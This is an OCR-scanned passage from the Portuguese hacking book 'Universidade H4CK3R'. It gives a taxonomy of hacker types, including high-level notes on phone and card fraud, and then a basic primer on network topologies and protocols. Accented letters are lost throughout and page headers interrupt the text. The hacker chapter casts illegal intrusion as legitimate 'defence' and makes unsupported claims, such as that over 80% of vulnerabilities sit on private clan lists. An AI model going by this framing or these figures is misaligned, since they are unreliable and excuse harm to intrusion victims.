- Newbie - Todo mundo j foi, e certamente ser iniciante em alguma coisa. No
importa se sobre relacionamentos amorosos, tecnologias de Internet ou mecnica
de aviao:todos temos um dia em que nos sentamos, pegamos um livro e pensamos
"agora vou aprender esse negcio". O newbie o que chamamos em portugus de
iniciante ou calouro. a pessoa que tem poucos conhecimentos em informtica e
est vida para aprender. o usurio final mdio de sistemas de informtica.
- Luser - Emoposio a newbie, colocamos no mesmo balaio a expresso pejora-
tiva luser, cunhada pela unio das palavras inglesas user (usurio) e loser (perdedor).
Um luser,ao contrrio do newbie, no quer aprender nada. Pelo contrrio, quer saber
s o mnimo necessrio para operar o computador e tenninar a tarefa o mais rpido
possvel. Os lusers normalmente so usados como vtimas intermedirias dos hackers
para chegar a um objetivo maior. O newbie costuma ser chato, mas o luser um
perigo, principalmente para a pacincia do pessoal de suporte tcnic03.
- Lamer - Um usurio comum (newbie ou luser) fatalmente aprende a usar
alguns programas. No sabe ou no tem condio de saber como as coisas
funcionam, mas j sabe pelo menos como operar os aplicativos existentes no
computador. Um belo dia descobre um programinha simples que invade as
mquinas dos outros e apaga seus e-mails, ou outro programinha que expulsa
pessoas das salas de chato Ou ainda um programinha para alterar pginas em
sites. Esse usurio o que se chama de lamer, palavra derivada de lame que em
portugus quer dizer manco ou aleijado. Um lamer caracterizado normal-
2 No usamos aqui o termo "castas"porque ficaria subentendito que no h mobilidade entre elas, como
na civilizao Indiana Brmane. Apesar de no gostarem que outros hackers subam na hierarquia, o
objetivo de todo hacker exatamente este: aperfeioar-se tcnica, social e politicamente.
3 Uma descrio de como o vocbulo luser foi criado pode ser encontrado (em ingls) no Jargon File:
http://www.ianwnflle.comzianwnlbtmI/entry/luser.htmI.Alis. o Jargon File pode ser usado para obter os
signilicados de qualquer tenno relacionado tecnologia e ao comportamento hacker usado neste livro.
128I
Psicologia Hacker r
Universidade 1ano
mente pelo trio de programas que ele sempre emprega: scan, exploit e trojan.
- Wannabe (ou wannabee) - A palavra foi usada pela primeira vez na mdia nos
anos 80 para se referir aos tas da cantora Madonna que se vestiam e agiamtentando
imitar seu dolo. De maneira semelhante, os wannabees da informtica so usurios
comuns que almejam ser hackers. O termo pode ser usado de duas maneiras, uma
positiva e outra pejorativa. Quando usado de forma positiva, wannabe o indivduo
que j leu bastante e est prestes a entrar no que chamamos de latval stage (ou
"entrar no casulo"). Na forma pejorativa, wannabe exatamente o tipo que descreve-
mos nos primeiros pargrafos deste captulo: algumque quer entrar nesse fantasioso
mundo mstico chamado hackerismo, mas no tem a mnima idia do que se trata.
- Larva! stage - literalmente, estgio larval, tambm chamado de spawn. o
perodo de isolamento total pelo qual o candidato a hacker tem de passar
para, no fmal do processo, "nascer de novo" como programador. Note que pos-
suir habilidade em programao condio fundamental para ser considerado
hacker, mesmo no sentido popular da palavra. O estgio larval restringe-se
programao e pode durar de seis meses a dois anos.
No fmal deste estgio, o programador adquire uma sapincia quase esotrica,
embora a possibilidade de nunca mais voltar a uma vida normal seja o preo a
pagar. Voc pode ser um programador competente sem passar por isso. Entre-
tanto, nunca chegar a ser um mago do cdigo.
- Hacker - Essapalavra andou um longo caminho at chegar aqui. Originalmente
(segundo o Jargon File) denominava carpinteiros que faziammveis com machados
- "hack" a onomatopia para essas ferramentas, em ingls. Nos anos 40 e 50, o
vocbulo hacker era usado para categorizar radioamadores e hobbystas de mecni-
ca ou eletrnica. J na dcada de 60, o nome se popularizou como sinnimo de
programador (para os que saram do latval stage) e especialista em computadores,
embora fosse comum utiliz-Iopara definir qualquer especialista: haviam hackers de
astronomia, de mecnica de automveis ou de jardinagem, por exemplo.
Devido ao j citado desservio prestado comunidade hacker pelos jornalis-
tas, atualmente o termo tende a se referir aos criminosos digitais. So especia-
listas que j dominam diversas tcnicas de invaso e conhecem com profundi-
dade pelo menos um sistema operacional. So excelentes programadores (tam-
bm passaram pela fase larval) e administradores de sistemas.
Mas, diferentemente do que popularmente se acredita, possuem um rgido cdi-
go de tica e nunca usam seus conhecimentos para o mal, mesmo que sua noo de
bem seja contra a lei. A comunidade hacker tradicional execra completamente
esta definio, preferindo se referir a hackers apenas como programadores e es-
pecialistas em informtica. Para os hackers tradicionais, os que praticam ativida-
des ilegais (mesmo que motivadas por motivos nobres) so chamados de crackers.
4 Segundo o Jargon File, uma caracterstica dos wannabes justamente o uso excessivo dos termos que
estamos apresentando neste captulo. No verbete h ainda uma interessante nota histrica sobre a evolu-
o do signiflcado da palavra.
1291
]Psicologia Hacker
I Universidade H4CK3R I
- Cracker - Chamado de "hacker do mal" ou "hacker sem tica", normalmen-
te especializado em quebrar as travas de softwares comerciais para poder
pirate-Ios (chamados de warez-dOOdz), mas tambm usa seus conhecimentos
para invadir sites e computadores com objetivos ilcitos, como vandalismo ou
roubo. Muitas vezes os crackers so excelentes programadores e podem criar
programas que infectem ou destruam completamente sistemas alheios sem
deixar vestgios - os lamers normalmente usam programas criados pelos
crackers. Mas a grande maioria pouca coisa mais esperta que os lamers. A
diferena que os crackers so persistentes: conhecem e fazem uso de uma
mirade de ferramentas para explorar vulnerabilidades conhecidas nos siste-
mas que querem invadir. Um lamer age por impulso e no sabe o que est
fazendo. Um cracker sabe o que faz e, mesmo sendo um hacker medocre, tem
noes suficientes para "se virar" caso algum imprevisto ocorra.
- Phreaker - o cracker dos sistemas telefnicos. Possui conhecimentos
avanados de eletrnica e telefonia (principalmente sobre sinalizao telefni-
ca) e pode fazer chamadas de qualquer local sem pagar por elas. Os mtodos
de fraude incluem transferir as faturas para outros nmeros (vlidos ou no),
modificar telefones pblicos para conseguir crdito ilimitado ou mesmo enga-
nar a central telefnica para que ela no faa o billing.
- Carder - o especialista em fraudes com cartes de crdito. Sabe como
conseguir listas de cartes vlidos em sites que os utilizam (sites de compras,
de chat pago, etc.), gerar nmeros falsos que passam pela verificao e mesmo
roubar e clonar cartes verdadeiros.
- War driver - Um tipo recente de cracker. Sabe aproveitar as inmeras
vulnerabilidades das atuais redes sem fio, as chamadas wireless, e se conectar a
elas. Os war drivers europeus foram mais longe e criaram o war chalking, que
consiste em desenhar com giz no cho smbolos que indicam a melhor posio
de conexo para outros war drivers.
o que so, como pensam e como agem
(e porque importante conhecer essa bobagemtoda)
Como j vimos, os hackers so especialistas. Os que usam seus conhecimentos
para invadir e conseguir informaes (com motivos ilcitos ou no) so to especia-
listas quanto os hackerstradicionais, trancados em laboratrios no MIT ou na Unicamp.
Os hackers associados a qualquer definio da palavra compartilham dos mesmos
ideais e crenas, com variaes locais, mas com um ncleo comum bem definido.
Aprendizado
Os hackers soneurticos em sua busca por conhecimento. Qualquer informa-
o, por mnima que seja, uma jia rara. Cadanovo sistema, linguagem de progra-
130I
Psicologia Hacker r
Universidade 1ano
mao ou mecanismo de criptografia um desafio a ser superado. Dependendo de
suas idias sociais e polticas, o hacker pode decidir inclusive que os conhecimen-
tos encerrados em uma rede ou sistema autnomo devem ser abertos ao grande
pblico, mesmo que seu sigilo esteja resguardado por leis - rebeldia e repdio a
leis imorais ou injustas so quase obrigatrias nesse meio. A idia de invadir um
sistema para olhar tudo, aprender o mximo possvel e sair sem tocar em nada
amplamente aceita mesmo pelos conservadores. Essas pessoas faro tudo o que
estiver a seu alcance para buscar sempre novos conhecimentos.
Comprometimento
Uma das caractersticas comuns a todos os hackers o que coloquialmente
chamamos de bitolao. Eles so aficionados em tudo o que envolve computado-
res, programao, conectividade e tecnologia da informao. Eo so ao ponto de
relaxar na aparncia, deixar de comer, de tomar banho e de dormir durante dias
para terminar um programa importante ou conseguir invadir aquele site famoso.
O larva!stage a que nos referimos anteriormente um bom exemplo do com-
prometimento que o hacker tem por seu trabalho, seja ele remunerado ou no
(mesmo hackers que o fazem por hobby referem-se ao hackerismo como traba-
lho). Outro exemplo o chamado hack mode. Quando um programador ou ana-
lista de sistemas entra em hack mode, todos os recursos de seu corpo e crebro
esto alocados para a tarefa na qual ele pretende hackear. Isso inclui um grande
poder de concentrao e de abstrao. Quando um hacker est em hack mode,
perfeitamente aceitvel que ele levante a mo para outras pessoas em sinal de
"pare", sem dizer uma palavra, impedindo assim que a linha de raciocnio seja
quebrada. Interromper o raciocnio de um programador enquanto ele est crian-
do sinnimo de apagar todo o seu trabalho: ele ter de recomear do zero.
Outro exemplo do comprometimento dos hackers o descuido quanto
carreira. Muitos programadores e especialistas em sistemas recusam promoes
nas empresas onde trabalham porque isso acarretaria desloc-Ios para reas
administrativas e gerenciais. De fato, quase que mensalmente lemos nas revistas
especializadas entrevistas com diretores de informtica que desabafam com o
reprter sua saudade da poca em que "colocavam as mos na massa".
Com pa rti Lhamento
Hackers de qualquer espcie (os do MIT e os do Crime Boyz) tambm tm
em comum a necessidade de compartilhar conhecimento e recursos. Isso inclui
escrever software com cdigo aberto e livre acesso, divulgar 100%do conheci-
mento que possui para a comunidade, facilitar o acesso a essas informaes a
qualquer interessado e disponibilizar, sempre que possvel, recursos de com-
putao e de rede.
Essa uma paisagem que pode ser vista por diferentes janelas. Os hackers
tradicionais (ou seja, segundo o significado correto da palavra) pregam o
131 I
I Psicologia Hacker
IUniversidade H4CK3RI
compartilhamento universal do conhecimento. H milhares de bons exemplos
do compartilhamento universal e irrestrito de informaes, como a prpria
Internet, o projeto Gutenberg (http://www.gutenberg.org/). o projeto GNU
(http://www.gnu.org) e o Linux (http://www.linux.org).
Os hackers/crackers tm outra noo de compartilhamento do conhecimen-
to. Para eles, a cooperao fundamental, mas deve ser recproca. Isso significa
que voc tem de compartilhar primeiro para ser aceito no cl. S depois de
julgado pelo cl, voc ter acesso base de conhecimento deles. Alm das in-
formaes bsicas e das livremente obtenveis, procedimentos de invaso e os
dados resultantes delas tambm devem ser compartilhados entre os membros
do cl. Hackers normalmente colocam diversos backdoors nos sistemas invadi-
dos e divulgam informaes sobre esses backdoors5 dentro de seus cls.
Os hackers desse segundo tipo tm ideais. O ideal de alguns o dinheiro e
para isso no hesitaro em roubar, enganar e fraudar. Para outros, h motivaes
ideolgicas, polticas ou sociais, algumas extremamente vlidas, outras moral-
mente questionveis. Outros ainda so vndalos e destroem pelo puro prazer
de ver o ndio queimar... Os que possuem ideais elevados normalmente revelam
a podrido de governos e empresas e como elas nos enganam ou lesam.
difcil condenar qualquer um dos tipos. Os hackers tradicionais, com sua viso
academicista, cooperativista e livre, nos deram, por exemplo, a Internet.
Quadrilhes de dlares foram gastos em tecnologia por empresas I?rivadas du-
rante todo o sculo XXe, no entanto, o cone e maior legado da tecnologia desse
perodo algo que pessoas do meio cientfico ofertaram de graa humanidade.
J os hackers do segundo tipo - rebelando-se contra instituies e leis nem
sempre justas ou moralmente corretas - nos mostraram que SIM,o governo nos
espiona; SIM, as empresas empurram produtos de m qualidade aos consumi-
dores; e SIM, organizaes privadas, polticas e governamentais esto SEMPRE
conspirando para cercear nossos direitos. Companhias e governos jogam sujo
nos forando a usar sistemas horrveis, caros e mal escritos, que nos espionam
e caducam muito rpido. "Hackear', ento, seria apenas uma forma de defesa.
Ei! Isso importante!
A maioria dos hackers que invadem sistemas de terceiros adolescente ou
adulto muito jovem e essa mstica do submundo digital faz muito sentido para
eles. claro que h hackers mais velhos que ainda esto mergulhados nesse
mundo parte, mas a maioria esmagadora de pessoas muito jovens.
Alguns hackers mais maduros - que j superaram essa fantasia - utilizam
essa mitologia toda como um escudo. Mesmo achando tudo isso uma chatea-
5 Literalmente, "porta de trs". um programinha que o invasor deixa na mquina invadida para sempre
ter acesso a ela, mesmo que o administrador tape a brecha pela qual o hacker entrou. como abrir novos
buracos para entrar porque o primeiro fatalmente ser consertado pelo dono do muro.
1321
PsicologiaHacker[
Universidade 1ano
o extrema ("a terriflc bore", como nos disse Lord.Aztael.js), o hacker mais
velho se agremia a cls, tem um pseudnimo vistoso e .1)!6!74 u7!1!z4nl)0
35<!:r!7413376 com o objetivo de despistar autoridades e continuar annimo.
Esse o problema. As listas de vulnerabilidades de sites como o Security
Focus ou o Linux Security possuem apenas os problemas descobertos pelos
pesquisadores ou divulgados pelos crackers. Mas no se engane: mais de 80%
das vulnerabilidades esto em listas privadas de cls hackers, fora as outras
tantas que so conhecidas apenas por indivduos. Confiar apenas nas listas
pblicas alimentadas por gente que foi invadida e por crackers que liberam as
vulnerabilidades muito antigas no uma atitude l muito sbia.
Isto posto, se voc est lendo este livro pensando em segurar melhor sua
empresa, necessariamente ter de descer ao submundo digitaF e ser um deles.
No pense jamais em ser agente duplo, entretanto: sua rede nunca mais ser
deixada em paz se descobrirem que voc deu um "copiar/colar" da lista de
vulnerabilidades deles para seu site de segurana preferido.
Por que algum gastaria tempo e dinheiro
numa invaso?
Aresposta para isso gira em tomo de uma nica palavra:motivo. Todo hacker, seja
bom ou mau, possui um motivo para fazer o que faz. Pode ser torpe ou elevado, pode
ser por amor ou dio, por necessidade, nillismoou vingana, no importa: motivo h.
Abusca por conhecimento parece, primeira vista, ser o motivo mais imedia-
to. Mas na maioria dos casos apenas um objetivo intermedirio para atingir
algo maior.Seria possvel escrever vrios livros sobre os reais motivos dos hackers.
Cada indivduo tem suas prprias idias, seu dio e seus amores, suas crenas.
H pessoas que "hackeiam" por motivos polticos, ideolgicos ou ambientais. Na
China, existem vriosgrupos lutando por uma abertura democrtica e usam a Internet
para isso. O Greenpeace e grupos neonazistas so outros exemplos. A tecnologia
utilizada,nesses casos, como armas em uma guerra, que, na viso do hacker, vlida.
Outros o fazem por simples vandalismo, ou ainda por objetivos torpes: por-
nografia infantil, venda de armas e narcticos e pirataria (com fins econmi-
cos ou no). O servidor de sua empresa ou o computador de seu av podem
estar sendo usados como reservatrios de imundices sem que voc o saiba. Ou
mesmo como trampolim para um sistema maior.
Seja por ideal, por hobby ou com objetivos econmicos ilcitos, uma invaso
e a prpria existncia de cada hacker sempre possui um motivo original.
6 "Digitar utilizando escrita leet". O 1337 54:r!p7 uma forma de escrever utilizando smbolos alterna-
tivos disponveis no teclado, ou seja, apenas no conjunto de caracteres ASCII estendido.
7 Muitos referem-se a ele com o nome oficial de "Digital Underground".
1331
] Psicologia Hacker
Redes I
caPtulo2
'For mi!lions of years, man have livedjust
like the animaIs. And then something
happened, that unleashed the power of our
imagination: we learned to talk.'
Stephen Hawking, cientista, em um
comercial da AT&T.
1 "Por milhes de anos, a humanidade viveu como os animais. Ento algo
aconteceu, que despertou o poder de nossas mentes: aprendemos a falar."
Stephen Hawking gravou essa mensagem tambm na cano "Keep
TaIking", do album The Division Bell, do grupo de rock Pink Floyd, em 1994.
IUniversidade H4CK3RI
Introduco
I
Ningum uma ilha. impossvel imaginar que o mundo moderno possa
sobreviver ou mesmo existir sem que as pessoas possam comunicar-se. Talvez
em comunidades afastadas no serto do Piau um telefone disposio ou
mesmo luz eltrica sejam algo suprfluo, e sua falta seja contornve1. Mas ima-
gine se faltar comunicaes ou energia eltrica em uma cidade como Nova
York. Milhes morrero...
As redes de computadores so uma especializao das redes telefnicas, que por
sua vez so um aperfeioamento das tecnologias envolvendo o velho te1egraf02.
Hoje, h computadores ligados por toda a nossa volta, e presentes em diversas
tarefas do nosso cotidiano. Bancos, empresas, mercados... Todos utilizam algum
tipo de rede para atualizar informaes de forma eficiente, rpida e segura.
Nosso objetivo para este captulo dar uma noo muito superficial de como as
redes funcionam e quais so seus componentes. Lembremos que em quase 100%
dos casos estamos acessveis a hackers atravs de alguma rede. Mesmo que os
invasores utilizem-se de acesso fsico para invadir alguma de nossas mquinas - ou
seja, possam sentar-se em nossas cadeiras e digitar diretamente em nossos teclados
-, o controle posterior de nossa mquina se dar, provavelmente, atravs de algu-
ma rede. Os conceitos aqui contidos provavelmente vo acrescentar pouco aos
administradores mais experientes, mas serviro como ferramentas fundamentais
para abrir as portas aos que esto comeando a entender esse universo.
Nem este captulo nem todo o livro tm a inteno de ser um tratado comple-
to sobre comunicao e redes de computadores. Alm de fugir do objetivo
principal, seria complicado faz-Io sem fugir da estimativa inicial de 350 pgi-
nas impressas. Muitos bons livros foram escritos sobre o assunto, como o ex-
celente Redes de Computadores, de Andrew Tannembaum, ou os livros on-line
de Morimoto disponveis no Guia do Hardware (www.guiadohardware.com).
E a prpria Internet est cheia de bons tutoriais e artigos sobre o assunto. No
se prenda, pois, ao exposto aqui. v em frente! Seja safo! Estude!
Conceituao
As tecnologias que evoluram do telgrafo e da telefonia para tornarem-se o
que conhecemos hoje como redes de computadores possuem vrios aspectos
que devem ser analisados para que nossos projetos de redes sejam eficientes e
seguros. Alguns desses aspectos bsicos so:
~ Estrutura fsica: os componentes de hardware (mecnicos ou eltricos)
que compem uma rede. Simplificando a definio, podemos dizer que tudo
aquilo que voc pode tocar.
2 Os norte-americanos clamam para si a inveno do telgrnfo, reabnente levado a cabo por Samuel Morse em
1838 (e patenteado por ele em 1840). Mas na dcada anterior, em 1830, cientistas ingleses j haviam reproduzido
em laboratrio a teoria que um misterioso colega escocs havia proposto 70 anos antes, em 1750. Na opinio dos
autores, foi esse escocs annimo (ele assinou seu relatrio apenas com as iniciais, CM) que inventou o telgrnfo.
1361
Redes 1[
Universidade 1ano
~ Topologia: como os computadores esto ligados fisicamente entre si na
rede. Cada problema apresentado pede uma topologia diferente para resolv-
10, e h situaes em que vrias topologias combinadas resolvem o problema
da melhor maneira possvel.
~ Protocolos: as normas que regem as comunicaes entre computadores e
as "lnguas" que eles falam entre si.
Neste captulo, apresentaremos um "resumo" cobrindo os princpios b-
sicos das tecnologias envolvidas. O captulo 8, Redes lI, apresentar as redes
TCP/IP - usadas em praticamente todas as redes srias hoje em dia, bem como
na Internet - de forma mais completa.
Estrutura fsica
Existem diversos tamanhos e tipos de redes, mas o ponto de partida para
elas o mesmo: a necessidade de comunicao entre dois ou mais computado-
res. As formas de conexo podem ser as mais variadas, desde pares de cabos
comuns e de baixo custo, passando pelos cabos coaxiais e fibras ticas at
equipamentos sem fio. H ainda outros componentes utilizados para expandir
a capacidade da rede. Entre esses componentes, podemos destacar:
~ Servidor: mquina central responsvel pela disponibilizao de recursos
e servios na maioria das redes. Sua funo agir como fonte de dados para as
configuraes da rede, armazenamento de dados e plataforma para rodar
aplicativos, alm de possuir mecanismos de autenticao e controle de acesso
- evitando assim que usurios acessem recursos no-autorizados. Existem di-
versos tipos de servidores, sua escolha depende da necessidade e do tamanho
da rede em que ser instalado.
~ Cliente: a mquina que utilizar a rede em questo. com ela que o
usurio vai acessar os recursos disponveis, como servios, programas e dispo-
sitivos de armazenamento no servidor, em outras mquinas cliente ou em dis-
positivos autnomos como faxes ou impressoras remotas.
~ Cabos: so o meio fsico por meio dos quais os dados sero transmitidos.
Existem diversos tipos de cabos, e sua escolha vai depender do tipo de rede a
ser instalada, do equipamento que ser utilizado e de quanto o dono da rede
est disposto a gastar.
~ Interface de rede: hardware responsvel pela conexo entre as mquinas,
agindo como porta de entrada e sada para acesso ao "espao pblico" da rede.
1371
] Redes1
IUniversidade H4CK3RI
Equipamento adicional
~ Repetidores: equipamentos que regeneram eletricamente (ou seja, no do-
mnio analgico) o sinal nos meios de transmisso - normalmente cabos eltri-
cos. No se pode usar muitos deles numa mesma rede, pois degeneram o sinal no
domnio digital e causam problemas de sincronismo entre as interfaces de rede.
~ Hubs: unidades que funcionam como ponto central de conexo em uma
rede local. Possuem vrias portas de conexo, cada uma destinada a um com-
putador diferente. Todos os hubs so tambm repetidores.
~ Bridges: possibilitam dividir a rede em segmentos autnomos. Com isso,
consegue-se reduzir o trfego na rede toda, bloqueando dados cujo segmento
de origem e destino sejam os mesmos e deixando passar dados cujo segmento
de destino seja diferente do de origem.
~ Comutadores: tambm chamados de switches, possuem diversas portas,
assim como os hubs.A diferena que, internamente, ele segmenta a rede, sen-
do cada porta um segmento diferente. A queda no trfego da rede, com a
utilizao de switchs, gritante.
~ Roteadores e Gateways: equipamentos capazes de encaminhar dados
entre duas ou mais redes diferentes. Possuem inclusive uma certa inteligncia,
podendo encaminhar mensagens a redes que no esto diretamente ligadas a
eles. A Internet nada mais do que uma grande malha de roteadores.
Abrangncia
Alm do conhecimento dos componentes isolados que compes uma rede,
necessrio ter uma idia de como elas podem cobrir diferentes reas. Os
nomes de cada categoria, embora consagrados, no so to importantes. Co-
nhecer os diferentes problemas inerentes a cada uma das situaes, entretanto,
primordial para um projeto bem-sucedido.
~ LAN: as famosas redes locais, hoje chamadas de departamentais. Os equi-
pamentos encontram-se geograficamente em um mesmo local, e o nmero de
mquinas pequeno. No h muitos problemas de interconexo.
~ MAN: visa cobrir uma rea urbana com aproximadamente 30 km de raio.
Normalmente composta pela interligao de todas as redes locais de uma
mesma empresa, na mesma regio metropolitana.
~ WAN: redes capazes de alcanar grandes distncias. Seu sinal reforado
sempre para que no haja perda nos dados durante a transmisso dos mesmos.
No caso de redes privadas, uma WAN a interligao das MANs de uma mesma
instituio ou grupo de instituies. Em se tratanto de redes pblicas, a WAN
mais conhecida do mundo a Internet.
J8I
Redes 1 r
TopoLogias
Universidade 1ano
Quando falamos em topologias de uma rede, estamos nos referindo ao layout
lgico da mesma. H vrias formas nas quais podemos organizar a interligao entre
cada um dos ns da rede (cada ponto de conexo com a rede pode ser chamado de
n, independentemente da funo do equipamento representado por ele).
H quatro topologias que chamamos de cannicas: ponto-a-ponto, barramento,
anel ou estrela. A escolha da topologia apropriada para uma determinada apli-
cao depende de diversos fatores, sendo estabilidade, velocidade, confiabilidade
e custo os mais importantes. A distncia entre os ns e o tamanho da rede
tambm so fatores preponderantes.
Principais topoLogias
~ Ponto-a-ponto: tambm conhecida como linear, tem como caracterstica
a disposio em srie dos equipamentos, fazendo com que os dados passem
por todas as estaes que estiverem conectadas, mas apenas a receptora pode-
r reconhec-Ios.
~ Barramento: uma extrapolao das redes ponto-a-ponto. Alis, muitas
redes ponto-a-ponto utilizam-se de barramentos. Neste modelo de conexo, todos
os computadores so ligados em um mesmo barramento fisico de dados. Ape-
sar de os dados no passarem por dentro de cada um dos ns, apenas uma
mquina pode "escrever" no barramento num dado momento. Todas as outras
"escutam" e recolhem para si os dados destinados a elas.
1391
] Redes1
IUniversidade H4CK3RI
~ Anel: essa topologia
constituda por um cir-
cuito fechado.As redes co-
nhecidas como Token Ring
(criadas pela IBM) so as
mais famosas. Quando fo-
ram criadas, ofereciam
uma taxa de transmisso
bem mais elevada do que
nas redes lineares, mas a
adio de um nmero mui-
to grande de mquinas no
anel causava problemas
de atraso, rudo e sincro-
nizao. Por isso mesmo,
essa topologia caiu em
desuso para redes locais.
EmWANs, pelo contrrio, como so poucos ns (um de cada rede local que se
quer interligar), a topologia em anel a mais indicada.
~ Estrela: nessa topologia, toda a informao deve passar obrigatoriamente por
uma central inteligente, que deve conectar cada estao da rede e distribuir o trfego
para que uma estao no receba, indevidamente, dados destinados s outras.
ATENO:uma rede local que use um hub no considerada como estrela!!!
Um hub um dispositivo que possui, internamente, um barramento! O trfego
que entra por uma porta do hub destinado a todas as outras portas. Uma rede
que usa switches, entretanto, um exemplo perfeito de configurao em estrela.
Outro exemplo so as
controladoras de terminais
"burros" dos mainframes e
minicomputadores.
A vantagem das imple-
mentaes por estrela a
grande especializao do
trfego. Apenas dados des-
tinados quele n so en-
viados a ele. Os custos de
implementao e opera-
o, entretanto, so eleva-
dos, e atualmente configu-
raes em estrela so usa-
das mais para interligar
segmentos de rede do que
ns individuais.
40 I
Redes 1 r
Universidade 1ano
Protocolos
Extrado do Novo Dicionrio Aurlio de Lngua Portuguesa:
protocolo. [Do gr. protkollon, 'primeira folha colada aos rolos de papiro, e na
qual se escrevia um resumo do contedo do manuscrito', pelo lat. medo protocollu
e pelo fr. protocole.] S.m. 1. Registro dos atos pblicos. 2. Registro das audincias
nos tribunais. 3. Registro de uma conferncia ou deliberao diplomtica. 4. For-
mulrio regulador de atos pblicos. 5. Conveno internacional. 6. livro de regis-
tro da correspondncia de uma firma, repartio pblica, etc. 7. Bras. Carto ou
papeleta em que se anotam a data e o nmero de ordem com que foi registrado no
livro de protocolo (6) um requerimento, e que serve como recibo. 8. Fig. Forma-
lidade, etiqueta, cerimonial. 9. Inform. Protocolo de comunicao (q. v.). Proto-
colo de comunicao. 10. Inform. Conjunto de regras, padres e especificaes
tcnicas que regulam a transmisso de dados entre computadores por meio de
programas especficos, permitindo a deteco e correo de erros; protocolo de
transmisso de dados. [Tb. se diz apenas protocolo.] Protocolo de transmisso de
dados. 11. Inform. Protocolo de comunicao (q. v.).
A palavra protocolo possui, ento, diversos significados, tanto na lngua
portuguesa quanto na lngua aceita como universal, o ingls. Trs dos significa-
dos chamam a ateno:
3. Registrode umaconfernciaou deliberaodiplomtica.
S. Conveno internacional.
S. Fig. Formalidade, etiqueta, cerimonial.
O vocbulo teve sua origem no grego para designar a folha de resumo do
documento (protos =primeiro, kollon = folha), mas seu uso foi amplamente difun-
dido na esfera diplomtica; em um primeiro momento, como os documentos que
registravam quais as atitudes e os procedimentos que deveriam ser seguidos em
encontros ou querelas com outras naes e, posteriormente, como sinnimo des-
ses procedimentos. A definio 3 do verbete ilustra o sentido diplomtico original
da palavra, a defmio 5 mostra o conceito moderno. Em sentido figurado, as pes-
soas passaram a considerar qualquer procedimento-padro (seja ele diplomtico
ou no) como protocolo - exatamente o que nos diz a definio 8 do verbete.
Quando as primeiras redes de computadores comearam a sair do papel
e ser experimentadas nos laboratrios de tecnologia (j na dcada de 50), ha-
via a necessidade de criar um mecanismo para que cada equipamento ligado
nela pudesse se comunicar com os demais, mesmo que fossem equipamentos
diferentes. Foram criados ento mensagens-padro, e se duas mquinas quises-
sem comunicar-se deveriam ambas conhecer tais mensagens. Pela similaridade
de idias (e para fazer uma brincadeira com a defmio diplomtica), os enge-
nheiros de ento apelidaram essas mensagens-padro de protocolo.
Observe as defmies 9, 10 e 11. Se prestarmos ateno, veremos que nada
mais so do que extrapolaes de 5 e 8. Vejamos, ento, alguns dos protocolos de
redes mais conhecidos, suas funes e suas particularidades.
141 I
] Redes1
I Universidade H4CK3R I
Como funcionam
Os protocolos so, ento, como "frases" que uma interface de rede tem de
dizer para poder se comunicar com as outras. Como a expresso "as outras" da
frase anterior est no plural, deve haver alguma forma de todas as mquinas
conectadas na mesma rede conseguirem, ao "ouvir" uma mensagem, entender
se destinada a elas ou no.
A primeira providncia que um protocolo de redes deve tomar declarar de
qual protocolo estamos falando. Deve haver, em algum lugar no incio da mensa-
gem, um indicador de protocolo. Lembrem-se: nem sempre existe apenas um
protocolo trafegando pela rede, ento faz-se necessrio identificar a todos.
Considerando que uma mensagem (ou pacote, que o termo tcnico correto
para essa entidade) em uma rede um conjunto de dados originados em um n
e destinados a outro, e que esses dados sero transmitidos serialmente na for-
ma de bits, coerente afirmar que teremos, no cabo da rede, um "trem" de
pulsos eltricos seqenciais.
Para fms didticos, vamos "montar" um pacote usando um protocolo genri-
co e fictcio, criado por ns. J sabemos que nossa mensagem tem de comear
com um identificador de protocolo, ento teremos alguma coisa assim:
Protocot ID
Uma das coisas que o protocolo deve definir, alm da posio onde est
cada um dos dados, o tamanho deles. Assim, em nosso protocolo fictcio
definimos que o identificador de protocolo est na primeira posio. Mas
devemos que definir tambm quantos bits sero usados para identific-Io.
Vamos supor que, em nossa tecnologia de redes, vo existir apenas quatro
protocolos diferentes. Para quatro valores diferentes, bastam apenas dois bits.
Ento, quando publicarmos nossas normas e projetarmos nossas placas de
rede, j sabemos: os primeiros dois bits desse pacote identificam qual proto-
colo estamos usando.
H outra coisa que j sabemos: qual a mquina destino do pacote, e qual a
mquina de origem. Cada n em uma rede possui um identificador nico que o
diferencia dos demais ns. Esse identificador comumente chamado de ende-
reo, portanto, sabemos que preciso inserir, em nosso pacote, quantos bits
sero destinados representao do endereo de origem e de destino. Nossa
tecnologia de redes svai ligar 16 ns ao mesmo tempo, ento quatro bits so
suficientes. (Estamos considerando que o leitor saiba fazer converso decimal!
binrio, pois ser necessrio. Em caso negativo, um site que pode esclarec-Io
piano .dsi.uminho. pt/ -joao/Computaca02lnode2 .html).
1421
Redes1 [
Universidade 1ano
o pacote ficaria assim:
Falta alguma coisa, no? Quem teria o trabalho de enviar, pelo correio, um
envelope com remetente, destinatrio, o selo carimbado (que, nesse caso, iden-
tificaria o protocolo de comunicao: o sistema postal brasileiro) mas sem
uma carta no interior? Nosso protocolo tambm carece de algo til para fazer.
Precisamos definir um espao, dentro da mensagem, para carregar os dados
que queremos transmitir do n de origem para o de destino.
Vamos supor que a rede para a qual estamos criando esse protocolo tenha
uma limitao: o tamanho dos pacotes no pode passar de 64 bits. J usamos
dois para o protocolo, quatro para o endereo de origem e mais quatro para o
endereo de destino. 2+4+4 = 10, sobram, ento, 54 bits para o payload (ex-
presso usada no meio ferrovirio para definir o tamanho da "carga til") e
demais campos. Um protocolo, por mais simples que seja, deve possuir um
smbolo que marque o fim da mensagem. Vamos definir uma sequncia de
1 byte para tal. Ao acaso, arbitramos 11001011. O smbolo deve ser a ltima
coisa que aparece na mensagem. Os 46 bits que sobraram podem ser usados
para transportar nossos dados.
claro que pacotes montados segundo nosso simples protocolo simples
carecem de diversos controles mais sofisticados. Poderia, por exemplo, haver
um campo no qual existisse um nmero calculado a partir dos bits de toda a
mensagem. Esse nmero seria reca1culado pelo n destino e, se o resultado
batesse com o que est guardado no campo, indicaria que a mensagem no foi
corrompida durante a viagem.
Outro campo til poderia ser um marcador de tamanho de mensagem.
Com o tamanho da mensagem varivel, ajustaramos a quantidade de dados a
transmitir naquele momento. Pegando como exemplo nosso protocolo, que
tem um payload de 46 bits, vemos que todas as mensagens tero rigorosamen-
te o tamanho mximo, mesmo que eu queira transmitir apenas um bit. Com um
campo controlando o tamanho do payload, posso otimizar o uso da minha
rede e diminuir o trfego.
Eu poderia passar a madrugada inteira (sim, agora de madrugada, e eu
tenho de entregar o captulo todo corrigido amanh...) falando sobre as in-
meras possibilidades de implementao de protocolos. Em vez disso, recomen-
